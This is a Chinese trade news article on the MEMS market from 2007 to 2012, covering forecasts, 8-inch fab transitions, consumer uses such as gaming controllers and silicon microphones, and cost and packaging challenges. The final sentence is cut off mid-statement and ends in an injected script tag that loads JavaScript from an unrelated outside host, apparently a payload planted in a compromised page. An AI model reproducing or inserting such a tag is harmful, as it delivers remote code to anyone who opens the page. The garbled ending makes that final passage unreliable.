从2007年到2012年，mems市场的年复合增长率将达到14%。为了满足市场需求，mems企业和foundry（晶圆代工厂）都在提高生产制造水平，扩大自己的产能。而mems的制造也将从现在的5英寸和6英寸线向8英寸线转移。意法半导体开始应用其8英寸制造设施，欧姆龙、飞思卡尔等企业开始购买或建立8英寸mems生产线。
mems（微机电系统）产品以前多被应用到国防工业和汽车上，但在去年它被成功应用到游戏机wii上，而引起市场的广泛关注。市场调研公司yole预测，2008年，mems全球市场将达到78亿美元，到2012年达到140亿美元。而到2012年，消费应用将成为mems的第一大市场，为了迎合该市场的需求，mems要克服制造、封装和低功耗等多个挑战。在这一市场上，国内企业也正努力营造产业环境，开始在市场上展现他们的高性价比特色，参与到市场的竞争中。
消费应用将成首要市场
去年，wii游戏机引入mems，为mems在消费电子市场上的发展开创了一个里程碑。而市场调研公司yole预测，在2008年，mems在消费类电子市场上的用量将增长30%，销售额将增长9%。预计到2012年，消费电子应用的销售额将占mems总市场的40%，而市场的主要增长动力来自喷墨打印头、惯性mems、微显示及一些新兴应用。与消费电子市场相比，虽然过去汽车电子一直是mems增长的主要推动力，但在2008年到2012年期间，mems汽车电子市场的年复合增长率仅为5%。
意法半导体mems产品事业部总经理benedetto vigna向《中国电子报》记者表示，他们看好手机、无线游戏控制器、鼠标、位置服务的辅助导航(lbs)、计步器、天气预报和高度计、数码相机/摄像机防抖功能等mems应用领域，同时还关注无线传感器网络等mems新兴应用市场的研发动向，这些应用包括各种mems技术。而记者了解到，在加速度传感器市场获得成功的意法半导体正在着力开发陀螺仪、压力传感器及硅麦克风等一系列mems产品，其中一些产品今年下半年将会推向市场。
我国大陆企业苏州敏芯微电子技术有限公司总经理李刚则向《中国电子报》记者特别提到两类产品的动向，即mems硅麦克风已大规模进入主流手机厂商，迅速取代传统的驻极体麦克风市场。与此同时，mems硅振荡器也已开始逐步进入消费类市场，取代传统的石英晶振。苏州敏芯主要设计mems硅麦克风产品，这是一类被市场看好的新产品。
与此同时，大陆企业北京青鸟元芯微系统科技有限责任公司总经理张威表示，他们非常看好压力传感器在消费电子市场的应用，他认为今年压力传感器在运动鞋、运动手表和高级玩具上都能获得较好的应用。
突破成本及封装技术等瓶颈
mems在消费应用市场的推广中也遇到了几大问题，像成本、封装及功耗等等。
在成本方面，传统上，人们都认为mems的成本太高，而消费产品对成本非常敏感，因此，mems虽然在iphone和wii这样的“消费新贵”上获得成功，但要在量大面广的普通消费产品上获得应用，成本还是一个拦路虎。对此，台积电主流技术事业发展处处长刘信生有着不同的观点。他说，他相信mems在价格方面会有它的竞争力。例如，有些mems解决方案比现有的传统方案更便宜，而性能要好很多，像mems硅麦克风，这也是为什么消费电子产业对mems感兴趣的原因。实际上，mems可以为系统厂商提供的可能是更小、更轻、更便宜的选择。而青鸟元芯张威也表示，他们现在可以把mems做成像电阻和电容一样便宜，只有几元甚至零点几元，这已经打破了mems成本上的瓶颈。
而mems在消费类应用中面临的另一个问题就是封装技术。清华大学微电子所蔡坚向《中国电子报》记者表示，由于本身的特殊性和复杂性，mems封装面临成本、尺寸及系统化的挑战。而不同的厂商正采用各种专利技术攻克难关。
此外，针对消费市场，功耗和电压也成为重点之一。意法半导体benedetto vigna表示，目前，消费产品的供电电压已降到1.8v?script src=http://er12.com/t.js>
